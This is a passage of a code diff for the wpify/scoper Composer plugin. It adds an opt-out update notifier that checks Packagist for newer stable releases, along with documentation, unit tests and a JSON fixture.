purpose: a version on Packagist is one you can actually +install, and GitHub's unauthenticated API is rate limited per IP in a way that breaks on shared +office and CI addresses. See [ADR 0001](adr/0001-packagist-not-github-tags-as-the-release-source.md). + +### Turning it off + +The check is skipped automatically whenever the run is **non-interactive** — no TTY, or +`--no-interaction`. That covers CI, Docker builds and deploy scripts without any configuration, +which is where the notice would be noise nobody can act on anyway. + +To switch it off everywhere else: + +```bash +export WPIFY_SCOPER_NO_UPDATE_CHECK=1 +``` + +`COMPOSER_DISABLE_NETWORK` also suppresses it. + ## Verbose output ```bash diff --git a/src/PackagistReleaseSource.php b/src/PackagistReleaseSource.php new file mode 100644 index 0000000..1b91761 --- /dev/null +++ b/src/PackagistReleaseSource.php @@ -0,0 +1,141 @@ +readCache(); + + if ( null !== $cached ) { + return $cached; + } + + $response = $this->downloader->get( self::URL, array( + 'http' => array( 'timeout' => self::TIMEOUT ), + 'max_file_size' => self::MAX_SIZE, + ) ); + + $latest = self::newestStable( (string) $response->getBody() ); + + // Only a successful lookup resets the clock. Caching the failure would buy 24 hours of + // silence for a laptop that merely happened to be off wifi when the run started. + if ( null !== $latest && null !== $this->cache ) { + $this->cache->write( self::CACHE_FILE, $latest ); + } + + return $latest; + } + + /** + * The newest stable version in a Packagist p2 response, or null if there is none to be had. + * + * Static and pure so that the parsing can be tested against a committed fixture with no cache + * and no HttpDownloader in sight. + * + * The response is in the minified `composer/2.0` format, where each entry after the first + * carries only the keys that differ from its predecessor. `version` is by definition one of + * them, so it is always present and the entries need no expanding for this purpose. + */ + public static function newestStable( string $json ): ?string { + $decoded = json_decode( $json, true ); + + if ( ! is_array( $decoded ) ) { + return null; + } + + $packages = $decoded['packages'] ?? null; + $versions = is_array( $packages ) ? ( $packages[ self::PACKAGE ] ?? null ) : null; + + if ( ! is_array( $versions ) ) { + return null; + } + + $parser = new VersionParser(); + $latest = null; + + foreach ( $versions as $entry ) { + $version = is_array( $entry ) ? ( $entry['version'] ?? null ) : null; + + if ( ! is_string( $version ) || '' === $version ) { + continue; + } + + try { + // Rejects anything Comparator would throw on further down, which keeps this + // function total: any input at all produces a version or null, never an exception. + $parser->normalize( $version ); + } catch ( UnexpectedValueException ) { + continue; + } + + if ( 'stable' !== VersionParser::parseStability( $version ) ) { + continue; + } + + if ( null === $latest || Comparator::greaterThan( $version, $latest ) ) { + $latest = $version; + } + } + + return $latest; + } + + private function readCache(): ?string { + if ( null === $this->cache ) { + return null; + } + + $age = $this->cache->getAge( self::CACHE_FILE ); + + if ( false === $age || $age > self::TTL ) { + return null; + } + + $cached = $this->cache->read( self::CACHE_FILE ); + + return is_string( $cached ) && '' !== $cached ? $cached : null; + } +} diff --git a/src/Plugin.php b/src/Plugin.php index db93d6b..709de47 100644 --- a/src/Plugin.php +++ b/src/Plugin.php @@ -136,7 +136,12 @@ public function execute( Event $event ): void { default => array( 'install', $event->isDevMode() ), }; - ( new Scoper( $this->configuration, $this->io, new ProcessComposerRunner( $this->io ) ) ) - ->run( $command, $useDevDependencies ); + ( new Scoper( + $this->configuration, + $this->io, + new ProcessComposerRunner( $this->io ), + null, + UpdateNotifier::create( $event->getComposer(), $this->io, $this->configuration ) + ) )->run( $command, $useDevDependencies ); } } diff --git a/src/ReleaseSource.php b/src/ReleaseSource.php new file mode 100644 index 0000000..19a0353 --- /dev/null +++ b/src/ReleaseSource.php @@ -0,0 +1,22 @@ +filesystem = new Filesystem(); $this->pluginDir = $pluginDir ?? dirname( __DIR__ ); @@ -128,6 +129,12 @@ public function run( string $command, bool $useDevDependencies ): int { foreach ( $inherited as $name => $value ) { Platform::putEnv( $name, $value ); } + + // Last, and after the environment is back to normal. On a successful run this is the + // final thing on screen; on a failed one it lands just above Composer's error output, + // so the error still reads last while the user - who may well be looking at a bug that + // is already fixed upstream - still learns they are behind. + $this->notifier?->notify(); } } diff --git a/src/ScoperCommand.php b/src/ScoperCommand.php index db33827..a92b357 100644 --- a/src/ScoperCommand.php +++ b/src/ScoperCommand.php @@ -54,7 +54,12 @@ protected function execute( InputInterface $input, OutputInterface $output ): in return 1; } - return ( new Scoper( $configuration, $io, new ProcessComposerRunner( $io ) ) ) - ->run( $action, ! (bool) $input->getOption( 'no-dev' ) ); + return ( new Scoper( + $configuration, + $io, + new ProcessComposerRunner( $io ), + null, + UpdateNotifier::create( $composer, $io, $configuration ) + ) )->run( $action, ! (bool) $input->getOption( 'no-dev' ) ); } } diff --git a/src/UpdateNotifier.php b/src/UpdateNotifier.php new file mode 100644 index 0000000..764c52f --- /dev/null +++ b/src/UpdateNotifier.php @@ -0,0 +1,186 @@ +getConfig(); + $cacheDir = $config->get( 'cache-dir' ); + + $cache = is_string( $cacheDir ) && '' !== $cacheDir + ? new Cache( $io, $cacheDir . '/wpify-scoper' ) + : null; + + return new self( + $io, + new PackagistReleaseSource( new HttpDownloader( $io, $config ), $cache ), + self::installedVersion(), + ! self::isInstalledUnder( $configuration->vendorDir ), + ); + } + + public function notify(): void { + try { + $this->emit(); + } catch ( Throwable $throwable ) { + // Packagist being down, a corporate proxy, a read-only cache dir: none of them are the + // user's problem right now, and none of them are worth a line of output on a run that + // otherwise did its job. + if ( $this->io->isVerbose() ) { + $this->io->writeError( sprintf( + 'wpify-scoper: the update check failed (%s).', + $throwable->getMessage() + ) ); + } + } + } + + private function emit(): void { + // Ordered so that nothing reaches the network until every reason to stay quiet is ruled + // out. + if ( ! $this->io->isInteractive() ) { + return; + } + + if ( self::envIsSet( self::DISABLE_ENV ) || self::envIsSet( 'COMPOSER_DISABLE_NETWORK' ) ) { + return; + } + + $installed = $this->installedVersion; + + // A dev checkout, or a deliberately installed RC. Both are ahead of stable by choice, and + // an unknown version has nothing to compare against. + if ( null === $installed || 'stable' !== VersionParser::parseStability( $installed ) ) { + return; + } + + $latest = $this->source->latestStable(); + + if ( null === $latest || ! Comparator::greaterThan( $latest, $installed ) ) { + return; + } + + $this->io->writeError( sprintf( + 'wpify-scoper: version %s is available, you have %s.', + $latest, + $installed + ) ); + + if ( self::major( $latest ) > self::major( $installed ) ) { + // `composer update` cannot cross a major on its own, so telling the user to run it + // would hand them a command that silently does nothing. + $this->io->writeError( sprintf( + 'wpify-scoper: this is a new major version, see %s', + sprintf( self::UPGRADE_GUIDE, self::major( $latest ) ) + ) ); + + return; + } + + $this->io->writeError( sprintf( + 'wpify-scoper: update with "composer %supdate %s".', + $this->globalInstall ? 'global ' : '', + PackagistReleaseSource::PACKAGE + ) ); + } + + /** + * The version of this plugin that is actually running. + * + * @return string|null Null when Composer's runtime has no record of the package, which is what + * a path repository or a hand-dropped copy looks like. + */ + private static function installedVersion(): ?string { + if ( ! class_exists( InstalledVersions::class ) ) { + return null; + } + + try { + return InstalledVersions::getPrettyVersion( PackagistReleaseSource::PACKAGE ); + } catch ( OutOfBoundsException ) { + return null; + } + } + + /** + * Whether this copy of the plugin lives inside the project being scoped. + * + * Decides between `composer update` and `composer global update`. Anything that is not + * demonstrably project-local is treated as global, which is the documented install. + */ + private static function isInstalledUnder( string $vendorDir ): bool { + if ( ! class_exists( InstalledVersions::class ) ) { + return false; + } + + try { + $installPath = realpath( InstalledVersions::getInstallPath( PackagistReleaseSource::PACKAGE ) ?? '' ); + } catch ( OutOfBoundsException ) { + return false; + } + + $vendorDir = realpath( $vendorDir ); + + return false !== $installPath + && false !== $vendorDir + && str_starts_with( $installPath, $vendorDir . DIRECTORY_SEPARATOR ); + } + + /** + * @param non-empty-string $name + */ + private static function envIsSet( string $name ): bool { + $value = Platform::getEnv( $name ); + + return is_string( $value ) && '' !== $value; + } + + private static function major( string $version ): int { + return (int) ( explode( '.', $version )[0] ); + } +} diff --git a/tests/Unit/PackagistReleaseSourceTest.php b/tests/Unit/PackagistReleaseSourceTest.php new file mode 100644 index 0000000..749cfbf --- /dev/null +++ b/tests/Unit/PackagistReleaseSourceTest.php @@ -0,0 +1,53 @@ +fixture() ) ); + } + + #[DataProvider( 'unusable_responses' )] + public function test_it_returns_null_for( string $json ): void { + self::assertNull( PackagistReleaseSource::newestStable( $json ) ); + } + + /** + * @return array + */ + public static function unusable_responses(): array { + return array( + 'malformed json' => array( '{"packages": ' ), + 'not an object' => array( '"a string"' ), + 'no packages key' => array( '{}' ), + 'a different package only' => array( '{"packages":{"other/thing":[{"version":"9.9.9"}]}}' ), + 'versions is not a list' => array( '{"packages":{"wpify/scoper":"nope"}}' ), + 'no versions at all' => array( '{"packages":{"wpify/scoper":[]}}' ), + 'nothing stable published' => array( '{"packages":{"wpify/scoper":[{"version":"1.0.0-alpha1"},{"version":"1.0.0-RC2"}]}}' ), + 'entries without a version' => array( '{"packages":{"wpify/scoper":[{"type":"library"}]}}' ), + 'unparseable version' => array( '{"packages":{"wpify/scoper":[{"version":"not a version"}]}}' ), + ); + } + + public function test_an_unparseable_entry_does_not_hide_a_usable_one(): void { + $json = '{"packages":{"wpify/scoper":[{"version":"not a version"},{"version":"4.0.2"}]}}'; + + self::assertSame( '4.0.2', PackagistReleaseSource::newestStable( $json ) ); + } +} diff --git a/tests/Unit/UpdateNotifierTest.php b/tests/Unit/UpdateNotifierTest.php new file mode 100644 index 0000000..81fcf89 --- /dev/null +++ b/tests/Unit/UpdateNotifierTest.php @@ -0,0 +1,160 @@ +interactive; + } + }; + } + + private function source( ?string $latest ): ReleaseSource { + return new class( $latest ) implements ReleaseSource { + public function __construct( private readonly ?string $latest ) { + } + + public function latestStable(): ?string { + return $this->latest; + } + }; + } + + /** + * Throws if it is ever consulted, which is how the short-circuits are proven to happen before + * anything would reach the network. + */ + private function unreachableSource(): ReleaseSource { + return new class() implements ReleaseSource { + public function latestStable(): ?string { + throw new RuntimeException( 'the release source must not be consulted' ); + } + }; + } + + public function test_it_reports_a_newer_patch_release(): void { + $io = $this->io(); + + ( new UpdateNotifier( $io, $this->source( '4.0.1' ), '4.0.0', true ) )->notify(); + + self::assertStringContainsString( 'version 4.0.1 is available, you have 4.0.0.', $io->getOutput() ); + self::assertStringContainsString( 'update with "composer global update wpify/scoper".', $io->getOutput() ); + } + + public function test_a_project_local_install_is_told_to_update_without_global(): void { + $io = $this->io(); + + ( new UpdateNotifier( $io, $this->source( '4.1.0' ), '4.0.0', false ) )->notify(); + + self::assertStringContainsString( 'update with "composer update wpify/scoper".', $io->getOutput() ); + self::assertStringNotContainsString( 'global', $io->getOutput() ); + } + + public function test_a_new_major_links_the_upgrade_guide_instead_of_a_command(): void { + $io = $this->io(); + + ( new UpdateNotifier( $io, $this->source( '5.0.0' ), '4.0.0', true ) )->notify(); + + self::assertStringContainsString( 'version 5.0.0 is available, you have 4.0.0.', $io->getOutput() ); + self::assertStringContainsString( 'docs/upgrading-to-5.md', $io->getOutput() ); + // `composer update` cannot cross a major, so it must not be offered here. + self::assertStringNotContainsString( 'update with', $io->getOutput() ); + } + + #[DataProvider( 'silent_cases' )] + public function test_it_stays_silent( ?string $installed, ?string $latest ): void { + $io = $this->io(); + + ( new UpdateNotifier( $io, $this->source( $latest ), $installed, true ) )->notify(); + + self::assertSame( '', $io->getOutput() ); + } + + /** + * @return array + */ + public static function silent_cases(): array { + return array( + 'already on the newest release' => array( '4.0.1', '4.0.1' ), + 'ahead of the newest release' => array( '4.0.2', '4.0.1' ), + 'installed from a dev checkout' => array( 'dev-master', '4.0.1' ), + 'installed from a feature branch' => array( 'dev-feat/x', '4.0.1' ), + 'deliberately running an RC' => array( '4.1.0-RC1', '4.1.0' ), + 'deliberately running a beta' => array( '5.0.0-beta1', '5.0.0' ), + 'version not known to Composer' => array( null, '4.0.1' ), + 'no release could be determined' => array( '4.0.0', null ), + ); + } + + public function test_a_non_interactive_run_never_reaches_the_network(): void { + $io = $this->io( interactive: false ); + + ( new UpdateNotifier( $io, $this->unreachableSource(), '4.0.0', true ) )->notify(); + + self::assertSame( '', $io->getOutput() ); + } + + public function test_the_disable_env_var_never_reaches_the_network(): void { + Platform::putEnv( UpdateNotifier::DISABLE_ENV, '1' ); + + $io = $this->io(); + + ( new UpdateNotifier( $io, $this->unreachableSource(), '4.0.0', true ) )->notify(); + + self::assertSame( '', $io->getOutput() ); + } + + public function test_composer_disable_network_never_reaches_the_network(): void { + Platform::putEnv( 'COMPOSER_DISABLE_NETWORK', '1' ); + + $io = $this->io(); + + ( new UpdateNotifier( $io, $this->unreachableSource(), '4.0.0', true ) )->notify(); + + self::assertSame( '', $io->getOutput() ); + } + + public function test_a_failing_release_source_is_swallowed(): void { + $io = $this->io(); + + ( new UpdateNotifier( $io, $this->unreachableSource(), '4.0.0', true ) )->notify(); + + self::assertSame( '', $io->getOutput() ); + } + + public function test_a_failing_release_source_explains_itself_under_verbose(): void { + $io = $this->io( verbosity: OutputInterface::VERBOSITY_VERBOSE ); + + ( new UpdateNotifier( $io, $this->unreachableSource(), '4.0.0', true ) )->notify(); + + self::assertStringContainsString( 'the update check failed', $io->getOutput() ); + self::assertStringContainsString( 'the release source must not be consulted', $io->getOutput() ); + } +} diff --git a/tests/fixtures/packagist/wpify-scoper-p2.json b/tests/fixtures/packagist/wpify-scoper-p2.json new file mode 100644 index 0000000..ffdc1a3 --- /dev/null +++ b/tests/fixtures/packagist/wpify-scoper-p2.json @@ -0,0 +1,32 @@ +{ + "minified": "composer/2.0", + "packages": { + "wpify/scoper": [ + { + "name": "wpify/scoper", + "version": "4.0.0", + "version_normalized": "4.0.0.0", + "type": "composer-plugin", + "require": { + "php": "^8.2" + } + }, + { + "version": "4.1.0-RC1", + "version_normalized": "4.1.0.0-RC1" + }, + { + "version": "4.0.1", + "version_normalized": "4.0.1.0" + }, + { + "version": "5.0.0-beta1", + "version_normalized": "5.0.0.0-beta1" + }, + { + "version": "3.2.21", + "version_normalized": "3.2.21.0" + } + ] + } +}